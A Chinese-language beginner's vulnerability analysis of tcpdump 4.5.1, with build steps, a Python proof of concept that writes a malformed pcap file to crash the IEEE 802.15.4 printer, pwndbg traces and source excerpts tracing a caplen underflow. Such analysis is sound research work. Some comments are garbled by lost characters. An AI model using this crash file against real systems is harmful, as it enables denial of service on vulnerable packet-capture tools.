

tcpdump 4.5.1 漏洞分析（新手篇）

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第一次做漏洞分析，有什么错误的地方欢迎各位提出

分析环境

ubuntu16.04 x86_64

gdb with pwndbg

tcpdump 4.5.1

poc

编译安装tcpdump

```
$ sudo apt-get install libpcap-dev
$ dpkg -l libpcap-dev
$ wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
$ tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
$ cd tcpdump-4.5.1/
$ ./configure
$ make
$ sudo make install
```

利用poc生成pcap文件

poc:

```
from subprocess import call
from shlex import split
from time import sleep
def crash():
    command = 'tcpdump -r crash'
    buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xff\xff'
    buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
    buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
    buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
    buffer += "\x00\x17g++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\"
    buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n", '\x00\x00\x00\x00'
    buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'
    with open('crash', 'w+b') as file:
        file.write(buffer)
    try:
        call(split(command))
        print("Exploit successful! ")
    except:
        print("Error: Something has gone wrong!")
def main():
    print("Author: David Silveiro ")
    print(" tcpdump version 4.5.1 Access Violation Crash ")
    sleep(2)
    crash()
if __name__ == "__main__":
    main()
```

调试

读入生成的pcap文件，并运行

Program received signal SIGSEGV, Segmentation fault.

hex_and_ascii_print_with_offset (ident=0x47fe57 "\n\t", cp=0x843000 <error: Cannot access memory at address 0x843000>, length=

91 s2 = *cp++;

追踪一下从main函数开始，每个函数的执行流程

```

■ 0x403f22 <main+3650>      call    pcap_loop@plt <0x4027a0>
    rdi: 0x8222c0 ■ 0x7ffff7bb3a40 ■- push    r15
    rsi: 0xffffffff
    rdx: 0x45bb50 (print_packet) ■- push    r12
    rcx: 0x7fffffffcbdd ■ 0x820140 (Gndo) ■- 0x0

```

```

■ 0x7ffff7bb3aa9    call    bpf_filter <0x7ffff7bba870>
    rdi: 0x825c30    ■ 0x49000000006
    rsi: 0x822570    ■ 0x7f72a00600ff40
    rdx: 0x379c3c00
    rcx: 0x8

```

```

struct pcap_pkthdr {
    struct timeval ts;           /* time stamp */
    bpf_u_int32 caplen;         /* length of portion present */
    bpf_u_int32 len;            /* length this packet (off wire) */
};

ts      ■■■■
caplen  4■■ ■■■■■■■■
len     4■■ ■■■■■■■■

```

```

0x7ffff7bb3ab0    je      0x7ffff7bb3ace
0x7ffff7bb3ab2    add     ebp, 1
0x7ffff7bb3ab5    mov     rdx, qword ptr [rsp + 0x18]
0x7ffff7bb3aba    mov     rsi, r12
0x7ffff7bb3abd    mov     rdi, qword ptr [rsp]
0x7ffff7bb3ac1    call    r15 <0x45bb50>
        rdi: 0x7ffffffffffcb0 ─ 0x820140 (Gndo) ─ 0x0
        rsi: 0x7ffffffffffcac0 ─ 0x8000
        rdx: 0x822570 ─ 0x7f72a00600ff40
0x7ffff7bb3ac4    cmp     ebp, r14d
0x7ffff7bb3ac7    jl      0x7ffff7bb3ace
0x7ffff7bb3ac9    test    r14d, r14d
0x7ffff7bb3acc    jg      0x7ffff7bb3b30
0x7ffff7bb3ace    mov     eax, dword ptr [rbx + 0x34]

```

```
In file: /home/kaka/DEBUG/tcpdump-4.5.1/tcpdump.c
1942 /*
1943  * Some printers want to check that they're not walking off the
1944  * end of the packet.
1945  * Rather than pass it all the way down, we set this global.
```

来到下面这个地方

```
In file: /home/kaka/DEBUG/tcpdump-4.5.1/tcpdump.c
1945 * Rather than pass it all the way down, we set this global.
1946 */
1947 snapend = sp + h->caplen;
1948
1949     if(print_info->ndo_type) {
1950         hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);
1951     } else {
1952         hdrlen = (*print_info->p.printer)(h, sp);
1953     }
1954
1955 if (Xflag) {
```

```

u_int
ieee802_15_4_if_print(struct netdissect_options *ndo,
                      const struct pcap_pkthdr *h, const u_char *p)
{
    printf("address : %x\n",p);
    u_int caplen = h->caplen; //■■■■caplen■■■■■■■■■■caplen,■■■■8
    int hdrlen;
    u_int16_t fc;
    u_int8_t seq;
    if (caplen < 3) { //■■■
        ND_PRINT((ndo, "[|802.15.4] %x", caplen));
        return caplen;
    }
    fc = EXTRACT_LE_16BITS(p);
    hdrlen = extract_header_length(fc);
    seq = EXTRACT_LE_8BITS(p + 2);
    p += 3;
    caplen -= 3; //■■■caplen = 5
    ND_PRINT((ndo, "IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
    if (vflag)
        ND_PRINT((ndo, "seq %02x ", seq));
    if (hdrlen == -1) {
        ND_PRINT((ndo, "malformed! "));
        return caplen;
    }
    if (!vflag) {
        p += hdrlen;
    }
}

```

```

0x40aa63 <ieee802_15_4_if_print+419> test    esi, esi
0x40aa65 <ieee802_15_4_if_print+421> jne     ieee802_15_4_if_print+137 <0x40a949>
0x40aa6b <ieee802_15_4_if_print+427> mov     dword ptr [rsp + 0xc], eax
0x40aa6f <ieee802_15_4_if_print+431> mov     rsi, qword ptr [rsp]
0x40aa73 <ieee802_15_4_if_print+435> mov     rdi, r15
0x40aa76 <ieee802_15_4_if_print+438> call    qword ptr [r15 + 0xf0] <0x45b270>
    rdi: 0x820140 (Gndo)
    rsi: 0x822585
    rdx: 0xffffffff
    rcx: 0x7fffffeb
0x40aa7d <ieee802_15_4_if_print+445> mov     eax, dword ptr [rsp + 0xc]
0x40aa81 <ieee802_15_4_if_print+449> add     rsp, 0x18

```

```
In file: /home/kaka/DEBUG/tcpdump-4.5.1/print-802_15_4.c
109
110 seq = EXTRACT_LE_8BITS(p + 2);
111
112 p += 3;
113 caplen -= 3;
114
```


07:0038 0x7fffffffca68 0xffffffff

[BACKTRACE]

f 0 40aa5b ieee802_15_4_if_print+411
f 1 45bb9f print_packet+79
f 2 7ffff7bb3ac4
f 3 7ffff7ba41cf pcap_loop+47
f 4 403f27 main+3655
f 5 7ffff77eb830 __libc_start_main+240

pwndbg> p caplen
\$13 = 4294967283

最后 caplen这个值为-13，所以，caplen值最小为13+5+3=21 = 0x15
将数据包内的caplen字段修改成0x21以后没有再发生指针越界，此时的caplen为0，与len字段无关，甚至修改为0都可以。

pwndbg> run -r crash
Starting program: /usr/local/sbin/tcpdump -r crash
reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
17:06:08.000000 IEEE 802.15.4 Beacon packet
0x0000: 2b2b 2b2b 2b2b 2b85 c903 0000 ++++++.....
tcpdump: pcap_loop: bogus savefile header
[Inferior 1 (process 122683) exited with code 01]

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